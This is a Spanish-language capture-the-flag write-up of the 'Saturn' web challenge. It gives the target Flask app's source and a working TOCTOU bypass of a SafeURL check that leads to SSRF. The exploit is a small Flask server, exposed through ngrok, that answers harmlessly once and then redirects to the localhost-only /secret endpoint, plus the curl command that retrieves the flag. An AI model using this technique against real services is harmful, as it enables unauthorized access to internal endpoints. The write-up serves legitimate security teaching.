Saturn
3 minutos de lectura
Se nos proporciona el siguiente sitio web:
Además, tenemos el código fuente del servidor, que está en Flask (Python).
Análisis del código fuente
Este es el archivo app.py
:
from flask import Flask, request, render_template
import requests
from safeurl import safeurl
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/secret')
def secret():
if request.remote_addr == '127.0.0.1':
flag = ""
with open('./flag.txt') as f:
flag = f.readline()
return render_template('secret.html', SECRET=flag)
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, threaded=True)
Como se puede ver, hay dos endpoints. Estamos interesados en /secret
para obtener la flag. Sin embargo, el controlador del endpoint verifica que la petición se realiza desde 127.0.0.1
.
Sin embargo, el endpoint /
realizará una petición a una URL arbitraria:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# ...
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
Solo necesitamos omitir este fragmento de código:
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
El código anterior inspecciona la URL y la bloquea si hay una cabecera Location
con una redirección. Además, las opciones predeterminadas bloquean las peticiones a 127.0.0.1
. Mas información en SafeURL-Python.
Solución
La clave aquí es que SafeURL-Python
verificará que la URL es segura y, de ser así, entonces se realiza otra petición utilizando requests
.
TOCTOU hacia SSRF
Por lo tanto, tenemos una vulnerabilidad de time-of-check to time-of-use (TOCTOU). Esto significa que podemos desplegar un servidor que devuelva primero una respuesta válida (de modo que SafeURL-Python
no la bloquea), y luego realiza cosas maliciosas (cuando la solicitud se realiza por requests
, sin verificación).
Podemos escribir un servidor en Flask sencillo para esto, con una variable booleana para cambiar la respuesta una vez que pasa la comprobación:
#!/usr/bin/env python3
from flask import Flask, redirect
app = Flask(__name__)
check = True
@app.route('/')
def index():
global check
if check:
check = False
return 'asdf'
else:
check = True
return redirect('http://127.0.0.1:1337/secret')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
Como se puede ver, primero enviaremos una respuesta válida y luego realizaremos una redirección a http://127.0.0.1:1337/secret
para obtener la flag utilizando Server-Side Request Forgery (SSRF).
Ahora, necesitamos que este servidor sea accesible usando ngrok
:
$ python3 solve.py
* Serving Flask app 'solve'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
ngrok
Full request capture now available in your browser: https://ngrok.com/r/ti
Session Status online
Account Rocky (Plan: Free)
Version 3.8.0
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:5000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Flag
En este punto, podemos enviar la siguiente petición al servidor del reto y obtener la flag:
$ curl 83.136.255.150:35824 -sd url=https://abcd-12-34-56-78.ngrok-free.app | grep -oE 'HTB{.*}'
HTB{Expl01t1ng_ssrfs_f0r_fun}
Como se esperaba, veremos dos peticiones en nuestro registro de servidor malicioso, que se debe a la vulnerabilidad de TOCTOU:
127.0.0.1 - - [] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [] "GET / HTTP/1.1" 302 -